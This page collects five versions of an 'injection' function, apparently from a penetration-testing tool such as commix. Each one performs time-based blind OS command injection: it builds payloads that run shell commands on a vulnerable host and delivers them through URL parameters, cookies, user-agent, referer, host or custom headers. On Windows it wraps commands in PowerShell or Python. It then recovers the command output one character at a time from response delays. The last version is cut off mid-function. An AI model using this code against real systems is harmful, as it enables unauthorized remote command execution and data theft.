Esempio n. 1
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
              http_request_method, url, vuln_parameter, alter_shell, filename,
              url_time_response):

    if settings.TARGET_OS == "win":
        previous_cmd = cmd
        if alter_shell:
            cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
        else:
            cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"

    if menu.options.file_write or menu.options.file_upload:
        minlen = 0
    else:
        minlen = 1

    found_chars = False
    info_msg = "Retrieving the length of execution output... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL > 1:
        print ""
    for output_length in range(int(minlen), int(maxlen)):
        if alter_shell:
            # Execute shell commands on vulnerable host.
            payload = tb_payloads.cmd_execution_alter_shell(
                separator, cmd, output_length, timesec, http_request_method)
        else:
            # Execute shell commands on vulnerable host.
            payload = tb_payloads.cmd_execution(separator, cmd, output_length,
                                                timesec, http_request_method)
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)

        # Whitespace fixation
        payload = re.sub(" ", whitespace, payload)

        # Perform payload modification
        payload = checks.perform_payload_modification(payload)

        # Check if defined "--verbose" option.
        if settings.VERBOSITY_LEVEL == 1:
            payload_msg = payload.replace("\n", "\\n")
            sys.stdout.write("\n" + settings.print_payload(payload_msg))
        # Check if defined "--verbose" option.
        elif settings.VERBOSITY_LEVEL > 1:
            info_msg = "Generating a payload for injection..."
            print settings.print_info_msg(info_msg)
            payload_msg = payload.replace("\n", "\\n")
            sys.stdout.write(settings.print_payload(payload_msg) + "\n")

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
            how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
            how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
            how_long = referer_injection_test(url, vuln_parameter, payload)

        # Check if defined host with "INJECT_HERE" tag
        elif menu.options.host and settings.INJECT_TAG in menu.options.host:
            how_long = host_injection_test(url, vuln_parameter, payload)

        # Check if defined custom header with "INJECT_HERE" tag
        elif settings.CUSTOM_HEADER_INJECTION:
            how_long = custom_header_injection_test(url, vuln_parameter,
                                                    payload)

        else:
            how_long = examine_requests(payload, vuln_parameter,
                                        http_request_method, url, timesec,
                                        url_time_response)

        # Examine time-responses
        injection_check = False
        if (how_long >= settings.FOUND_HOW_LONG
                and how_long - timesec >= settings.FOUND_DIFF):
            injection_check = True

        if injection_check == True:
            if output_length > 1:
                if settings.VERBOSITY_LEVEL >= 1:
                    pass
                else:
                    sys.stdout.write("[" + Fore.GREEN + " SUCCEED " +
                                     Style.RESET_ALL + "]\n")
                    sys.stdout.flush()
                if settings.VERBOSITY_LEVEL == 1:
                    print ""
                success_msg = "Retrieved " + str(
                    output_length) + " characters."
                print settings.print_success_msg(success_msg)
            found_chars = True
            injection_check = False
            break

    # Proceed with the next (injection) step!
    if found_chars == True:
        if settings.TARGET_OS == "win":
            cmd = previous_cmd
        num_of_chars = output_length + 1
        check_start = 0
        check_end = 0
        check_start = time.time()
        output = []
        percent = "0.0"
        info_msg = "Presuming the execution output, please wait... "
        if menu.options.verbose < 1:
            info_msg += "[ " + str(percent) + "% ]"
        elif menu.options.verbose == 1:
            info_msg += ""
        else:
            info_msg += "\n"
        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
        sys.stdout.flush()
        for num_of_chars in range(1, int(num_of_chars)):
            char_pool = checks.generate_char_pool(num_of_chars)
            for ascii_char in char_pool:
                if alter_shell:
                    # Get the execution output, of shell execution.
                    payload = tb_payloads.get_char_alter_shell(
                        separator, cmd, num_of_chars, ascii_char, timesec,
                        http_request_method)
                else:
                    # Get the execution output, of shell execution.
                    payload = tb_payloads.get_char(separator, cmd,
                                                   num_of_chars, ascii_char,
                                                   timesec,
                                                   http_request_method)
                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                # Whitespace fixation
                payload = re.sub(" ", whitespace, payload)

                # Perform payload modification
                payload = checks.perform_payload_modification(payload)

                # Check if defined "--verbose" option.
                if settings.VERBOSITY_LEVEL == 1:
                    payload_msg = payload.replace("\n", "\\n")
                    sys.stdout.write("\n" +
                                     settings.print_payload(payload_msg))
                # Check if defined "--verbose" option.
                elif settings.VERBOSITY_LEVEL > 1:
                    info_msg = "Generating a payload for injection..."
                    print settings.print_info_msg(info_msg)
                    payload_msg = payload.replace("\n", "\\n")
                    sys.stdout.write(
                        settings.print_payload(payload_msg) + "\n")

                # Check if defined cookie with "INJECT_HERE" tag
                if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
                    how_long = cookie_injection_test(url, vuln_parameter,
                                                     payload)

                # Check if defined user-agent with "INJECT_HERE" tag
                elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
                    how_long = user_agent_injection_test(
                        url, vuln_parameter, payload)

                # Check if defined referer with "INJECT_HERE" tag
                elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
                    how_long = referer_injection_test(url, vuln_parameter,
                                                      payload)

                # Check if defined host with "INJECT_HERE" tag
                elif menu.options.host and settings.INJECT_TAG in menu.options.host:
                    how_long = host_injection_test(url, vuln_parameter,
                                                   payload)

                # Check if defined custom header with "INJECT_HERE" tag
                elif settings.CUSTOM_HEADER_INJECTION:
                    how_long = custom_header_injection_test(
                        url, vuln_parameter, payload)

                else:
                    how_long = examine_requests(payload, vuln_parameter,
                                                http_request_method, url,
                                                timesec, url_time_response)

                # Examine time-responses
                injection_check = False
                if (how_long >= settings.FOUND_HOW_LONG
                        and how_long - timesec >= settings.FOUND_DIFF):
                    injection_check = True

                if injection_check == True:
                    if not settings.VERBOSITY_LEVEL >= 1:
                        output.append(chr(ascii_char))
                        percent = ((num_of_chars * 100) / output_length)
                        float_percent = str("{0:.1f}".format(
                            round(((num_of_chars * 100) /
                                   (output_length * 1.0)), 2))) + "%"
                        if percent == 100:
                            float_percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        info_msg = "Presuming the execution output, "
                        info_msg += "please wait... [ " + float_percent + " ]"
                        sys.stdout.write("\r" +
                                         settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                    else:
                        output.append(chr(ascii_char))
                    injection_check = False
                    break

        check_end = time.time()
        check_how_long = int(check_end - check_start)
        output = "".join(str(p) for p in output)

        # Check for empty output.
        if output == (len(output) * " "):
            output = ""

    else:
        check_start = 0
        if not settings.VERBOSITY_LEVEL >= 1:
            sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL +
                             "]")
            sys.stdout.flush()
        else:
            print ""
        check_how_long = 0
        output = False

    if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
        print ""
    return check_how_long, output
Esempio n. 2
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay,
              http_request_method, url, vuln_parameter, alter_shell, filename,
              url_time_response):

    if settings.TARGET_OS == "win":
        previous_cmd = cmd
        if alter_shell:
            cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
        else:
            cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"

    if menu.options.file_write or menu.options.file_upload:
        minlen = 0
    else:
        minlen = 1

    found_chars = False
    sys.stdout.write(settings.INFO_SIGN +
                     "Retrieving the length of execution output... ")
    sys.stdout.flush()
    for output_length in range(int(minlen), int(maxlen)):
        if alter_shell:
            # Execute shell commands on vulnerable host.
            payload = tb_payloads.cmd_execution_alter_shell(
                separator, cmd, output_length, delay, http_request_method)
        else:
            # Execute shell commands on vulnerable host.
            payload = tb_payloads.cmd_execution(separator, cmd, output_length,
                                                delay, http_request_method)
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)
        if menu.options.base64:
            payload = base64.b64encode(payload)
        # Check if defined "--verbose" option.
        if menu.options.verbose:
            sys.stdout.write("\n" + Fore.GREY + settings.PAYLOAD_SIGN +
                             payload.replace("\n", "\\n") + Style.RESET_ALL)

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
            how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
            how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
            how_long = referer_injection_test(url, vuln_parameter, payload)

        # Check if defined custom header with "INJECT_HERE" tag
        elif settings.CUSTOM_HEADER_INJECTION:
            how_long = custom_header_injection_test(url, vuln_parameter,
                                                    payload)

        else:
            how_long = examine_requests(payload, vuln_parameter,
                                        http_request_method, url, delay,
                                        url_time_response)
        # Examine time-responses
        injection_check = False
        # if settings.TARGET_OS == "win" and alter_shell is not None :
        #   if (how_long > settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
        #     injection_check = True
        # else:
        if (how_long >= settings.FOUND_HOW_LONG
                and how_long - delay >= settings.FOUND_DIFF):
            injection_check = True

        if injection_check == True:
            if output_length > 1:
                if menu.options.verbose:
                    print "\n"
                else:
                    sys.stdout.write("[" + Fore.GREEN + " SUCCEED " +
                                     Style.RESET_ALL + "]\n")
                    sys.stdout.flush()
                print Style.BRIGHT + "(!) Retrieved " + str(
                    output_length) + " characters." + Style.RESET_ALL
            found_chars = True
            injection_check = False
            break

    # Proceed with the next (injection) step!
    if found_chars == True:
        num_of_chars = output_length + 1
        check_start = 0
        check_end = 0
        check_start = time.time()
        if settings.TARGET_OS == "win":
            cmd = previous_cmd
        output = []
        percent = "0.0"
        sys.stdout.write("\r" + settings.INFO_SIGN +
                         "Grabbing the output, please wait... [ " +
                         str(percent) + "% ]")
        sys.stdout.flush()
        for num_of_chars in range(1, int(num_of_chars)):
            if num_of_chars == 1:
                # Checks {A..Z},{a..z},{0..9},{Symbols}
                char_pool = range(65, 90) + range(96, 122)
            else:
                # Checks {a..z},{A..Z},{0..9},{Symbols}
                char_pool = range(96, 122) + range(65, 90)
            char_pool = char_pool + range(48, 57) + range(32, 48) + range(
                90, 96) + range(57, 65) + range(122, 127)
            for ascii_char in char_pool:
                if alter_shell:
                    # Get the execution output, of shell execution.
                    payload = tb_payloads.get_char_alter_shell(
                        separator, cmd, num_of_chars, ascii_char, delay,
                        http_request_method)
                else:
                    # Get the execution output, of shell execution.
                    payload = tb_payloads.get_char(separator, cmd,
                                                   num_of_chars, ascii_char,
                                                   delay, http_request_method)
                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)
                if menu.options.base64:
                    payload = base64.b64encode(payload)
                # Check if defined "--verbose" option.
                if menu.options.verbose:
                    sys.stdout.write("\n" + Fore.GREY + settings.PAYLOAD_SIGN +
                                     payload.replace("\n", "\\n") +
                                     Style.RESET_ALL)

                # Check if defined cookie with "INJECT_HERE" tag
                if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
                    how_long = cookie_injection_test(url, vuln_parameter,
                                                     payload)

                # Check if defined user-agent with "INJECT_HERE" tag
                elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
                    how_long = user_agent_injection_test(
                        url, vuln_parameter, payload)

                # Check if defined referer with "INJECT_HERE" tag
                elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
                    how_long = referer_injection_test(url, vuln_parameter,
                                                      payload)

                # Check if defined custom header with "INJECT_HERE" tag
                elif settings.CUSTOM_HEADER_INJECTION:
                    how_long = custom_header_injection_test(
                        url, vuln_parameter, payload)

                else:
                    how_long = examine_requests(payload, vuln_parameter,
                                                http_request_method, url,
                                                delay, url_time_response)
                # Examine time-responses
                injection_check = False
                # if settings.TARGET_OS == "win" and alter_shell is not None :
                #   if (how_long > settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
                #     injection_check = True
                # else:
                if (how_long >= settings.FOUND_HOW_LONG
                        and how_long - delay >= settings.FOUND_DIFF):
                    injection_check = True

                if injection_check == True:
                    if not menu.options.verbose:
                        output.append(chr(ascii_char))
                        percent = ((num_of_chars * 100) / output_length)
                        float_percent = "{0:.1f}".format(
                            round(
                                ((num_of_chars * 100) / (output_length * 1.0)),
                                2))
                        sys.stdout.write(
                            "\r" + settings.INFO_SIGN +
                            "Grabbing the output, please wait... [ " +
                            str(float_percent) + "% ]")
                        sys.stdout.flush()
                    else:
                        output.append(chr(ascii_char))
                    injection_check = False
                    break
        check_end = time.time()
        check_how_long = int(check_end - check_start)
        output = "".join(str(p) for p in output)

        # Check for empty output.
        if output == (len(output) * " "):
            output = ""

    else:
        check_start = 0
        if not menu.options.verbose:
            sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL +
                             "]\n")
            sys.stdout.flush()
        else:
            print ""
        check_how_long = 0
        output = False

    return check_how_long, output
Esempio n. 3
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename):

  if menu.options.file_write or menu.options.file_upload:
    minlen = 0
  else:
    minlen = 1

  found_chars = False
  
  sys.stdout.write("(*) Retrieving the length of execution output... ")
  sys.stdout.flush()  

  for output_length in range(int(minlen), int(maxlen)):
    
    if alter_shell:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
    else:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
          
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    if menu.options.base64:
      payload = base64.b64encode(payload)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
      sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)
    
    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    else:  
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url)
    
    if how_long >= delay:
      if output_length > 1:
        if menu.options.verbose:
          print "\n"
        else:
          sys.stdout.write("["+Fore.GREEN+" SUCCEED "+ Style.RESET_ALL+"]\n")
          sys.stdout.flush()
        print Style.BRIGHT + "(!) Retrieved " + str(output_length) + " characters."+ Style.RESET_ALL
        found_chars = True
      break

  if found_chars == True : 
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    
    output = []

    percent = 0
    sys.stdout.write("\r(*) Grabbing the output, please wait... [ "+str(percent)+"% ]")
    sys.stdout.flush()

    for num_of_chars in range(1, int(num_of_chars)):
      for ascii_char in range(32, 129):
        
        if alter_shell:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
        else:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
          
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)

        if menu.options.base64:
          payload = base64.b64encode(payload)
          
        # Check if defined "--verbose" option.
        if menu.options.verbose:
          sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
          how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
          how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
          how_long = referer_injection_test(url, vuln_parameter, payload)

        else:    
          how_long = examine_requests(payload, vuln_parameter, http_request_method, url)
                
        if how_long >= delay:
          if not menu.options.verbose:
            output.append(chr(ascii_char))
            percent = ((num_of_chars*100)/output_length)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(output_length*1.0)),2))
            sys.stdout.write("\r(*) Grabbing the output, please wait... [ "+str(float_percent)+"% ]")
            sys.stdout.flush()
          else:
            output.append(chr(ascii_char))
          break
      
    check_end  = time.time()
    check_how_long = int(check_end - check_start)
    output = "".join(str(p) for p in output)

    # Check for empty output.
    if output == (len(output) * " "):
      output = ""

  else:
    check_start = 0
    if not menu.options.verbose:
      sys.stdout.write("["+Fore.RED+" FAILED "+ Style.RESET_ALL+"]\n")
      sys.stdout.flush()
    else:
      print ""
    check_how_long = 0
    output = False

  return  check_how_long, output
Esempio n. 4
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  
  if settings.TARGET_OS == "win":
    previous_cmd = cmd
    if alter_shell:
      cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
    else: 
      cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"

  if menu.options.file_write or menu.options.file_upload:
    minlen = 0
  else:
    minlen = 1

  found_chars = False
  sys.stdout.write(settings.INFO_SIGN + "Retrieving the length of execution output... ")
  sys.stdout.flush()  
  for output_length in range(int(minlen), int(maxlen)):
    if alter_shell:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
    else:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method) 
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)
    if menu.options.base64:
      payload = base64.b64encode(payload)
    # Check if defined "--verbose" option.
    if menu.options.verbose:
      sys.stdout.write("\n" + Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    # Check if defined custom header with "INJECT_HERE" tag
    elif settings.CUSTOM_HEADER_INJECTION:
      how_long = custom_header_injection_test(url, vuln_parameter, payload)

    else:  
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response)
    # Examine time-responses
    injection_check = False
    # if settings.TARGET_OS == "win" and alter_shell is not None :
    #   if (how_long > settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
    #     injection_check = True
    # else:
    if (how_long >= settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
      injection_check = True

    if injection_check == True:        
      if output_length > 1:
        if menu.options.verbose:
          print "\n"
        else:
          sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL+ "]\n")
          sys.stdout.flush()
        print Style.BRIGHT + "(!) Retrieved " + str(output_length) + " characters." + Style.RESET_ALL
      found_chars = True
      injection_check = False
      break

  # Proceed with the next (injection) step!
  if found_chars == True : 
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    if settings.TARGET_OS == "win":
      cmd = previous_cmd
    output = []
    percent = "0.0"
    sys.stdout.write("\r" + settings.INFO_SIGN + "Grabbing the output, please wait... [ " +str(percent)+ "% ]")
    sys.stdout.flush()
    for num_of_chars in range(1, int(num_of_chars)):
      if num_of_chars == 1:
        # Checks {A..Z},{a..z},{0..9},{Symbols}
        char_pool = range(65, 90) + range(96, 122)
      else:
        # Checks {a..z},{A..Z},{0..9},{Symbols}
        char_pool = range(96, 122) + range(65, 90)
      char_pool = char_pool + range(48, 57) + range(32, 48) + range(90, 96)  + range(57, 65)  + range(122, 127) 
      for ascii_char in char_pool:
        if alter_shell:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
        else:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, delay, http_request_method)
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)
        if menu.options.base64:
          payload = base64.b64encode(payload)
        # Check if defined "--verbose" option.
        if menu.options.verbose:
          sys.stdout.write("\n" + Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL)

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
          how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
          how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
          how_long = referer_injection_test(url, vuln_parameter, payload)

        # Check if defined custom header with "INJECT_HERE" tag
        elif settings.CUSTOM_HEADER_INJECTION:
          how_long = custom_header_injection_test(url, vuln_parameter, payload)
          
        else:    
          how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response)
        # Examine time-responses
        injection_check = False
        # if settings.TARGET_OS == "win" and alter_shell is not None :
        #   if (how_long > settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
        #     injection_check = True
        # else:
        if (how_long >= settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
          injection_check = True
          
        if injection_check == True:
          if not menu.options.verbose:
            output.append(chr(ascii_char))
            percent = ((num_of_chars*100)/output_length)
            float_percent = "{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))
            sys.stdout.write("\r" + settings.INFO_SIGN + "Grabbing the output, please wait... [ " +str(float_percent)+ "% ]")
            sys.stdout.flush()
          else:
            output.append(chr(ascii_char))
          injection_check = False  
          break
    check_end  = time.time()
    check_how_long = int(check_end - check_start)
    output = "".join(str(p) for p in output)
    
    # Check for empty output.
    if output == (len(output) * " "):
      output = ""

  else:
    check_start = 0
    if not menu.options.verbose:
      sys.stdout.write("[" +Fore.RED+ " FAILED " + Style.RESET_ALL+ "]\n")
      sys.stdout.flush()
    else:
      print ""
    check_how_long = 0
    output = False

  return  check_how_long, output
Esempio n. 5
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  
  if settings.TARGET_OS == "win":
    previous_cmd = cmd
    if alter_shell:
      cmd = settings.WIN_PYTHON_DIR + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\""
    else: 
      cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length"

  if menu.options.file_write or menu.options.file_upload:
    minlen = 0
  else:
    minlen = 1

  found_chars = False
  info_msg = "Retrieving the length of execution output... "
  sys.stdout.write(settings.print_info_msg(info_msg))
  sys.stdout.flush()  
  if settings.VERBOSITY_LEVEL > 1:
    print ""
  for output_length in range(int(minlen), int(maxlen)):
    if alter_shell:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
    else:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) 
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Whitespace fixation
    payload = payload.replace(" ", whitespace)

    # Perform payload modification
    payload = checks.perform_payload_modification(payload)

    # Check if defined "--verbose" option.
    if settings.VERBOSITY_LEVEL == 1:
      payload_msg = payload.replace("\n", "\\n") 
      sys.stdout.write("\n" + settings.print_payload(payload_msg))
    # Check if defined "--verbose" option.
    elif settings.VERBOSITY_LEVEL > 1:
      info_msg = "Generating a payload for injection..."
      print settings.print_info_msg(info_msg)
      payload_msg = payload.replace("\n", "\\n") 
      sys.stdout.write(settings.print_payload(payload_msg) + "\n")

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    # Check if defined host with "INJECT_HERE" tag
    elif menu.options.host and settings.INJECT_TAG in menu.options.host:
      how_long = host_injection_test(url, vuln_parameter, payload)

    # Check if defined custom header with "INJECT_HERE" tag
    elif settings.CUSTOM_HEADER_INJECTION:
      how_long = custom_header_injection_test(url, vuln_parameter, payload)

    else:  
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
    
    # Examine time-responses
    injection_check = False
    if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
      injection_check = True

    if injection_check == True:        
      if output_length > 1:
        if settings.VERBOSITY_LEVEL >= 1:
          pass
        else:
          sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL+ "]\n")
          sys.stdout.flush()
        if settings.VERBOSITY_LEVEL == 1:
          print ""
        info_msg = "Retrieved: " + str(output_length)
        print settings.print_info_msg(info_msg)
      found_chars = True
      injection_check = False
      break

  # Proceed with the next (injection) step!
  if found_chars == True : 
    if settings.TARGET_OS == "win":
      cmd = previous_cmd
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    output = []
    percent = "0.0"
    info_msg = "Presuming the execution output, please wait... " 
    if menu.options.verbose < 1 :
      info_msg +=  "[ " +str(percent)+ "% ]"
    elif menu.options.verbose == 1 :
      info_msg +=  ""
    else:
      info_msg +=  "\n"  
    sys.stdout.write("\r" + settings.print_info_msg(info_msg))
    sys.stdout.flush()
    for num_of_chars in range(1, int(num_of_chars)):
      char_pool = checks.generate_char_pool(num_of_chars)
      for ascii_char in char_pool:
        if alter_shell:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
        else:
          # Get the execution output, of shell execution.
          payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)

        # Whitespace fixation
        payload = payload.replace(" ", whitespace)
        
        # Perform payload modification
        payload = checks.perform_payload_modification(payload)

        # Check if defined "--verbose" option.
        if settings.VERBOSITY_LEVEL == 1:
          payload_msg = payload.replace("\n", "\\n") 
          sys.stdout.write("\n" + settings.print_payload(payload_msg))
        # Check if defined "--verbose" option.
        elif settings.VERBOSITY_LEVEL > 1:
          info_msg = "Generating a payload for injection..."
          print settings.print_info_msg(info_msg)
          payload_msg = payload.replace("\n", "\\n") 
          sys.stdout.write(settings.print_payload(payload_msg) + "\n")

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
          how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
          how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
          how_long = referer_injection_test(url, vuln_parameter, payload)

        # Check if defined host with "INJECT_HERE" tag
        elif menu.options.host and settings.INJECT_TAG in menu.options.host:
          how_long = host_injection_test(url, vuln_parameter, payload)

        # Check if defined custom header with "INJECT_HERE" tag
        elif settings.CUSTOM_HEADER_INJECTION:
          how_long = custom_header_injection_test(url, vuln_parameter, payload)
          
        else:    
          how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
        
        # Examine time-responses
        injection_check = False
        if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
          injection_check = True
          
        if injection_check == True:
          if not settings.VERBOSITY_LEVEL >= 1:
            output.append(chr(ascii_char))
            percent = ((num_of_chars*100)/output_length)
            float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%"
            if percent == 100:
              float_percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
            info_msg = "Presuming the execution output, "
            info_msg += "please wait... [ " + float_percent + " ]"
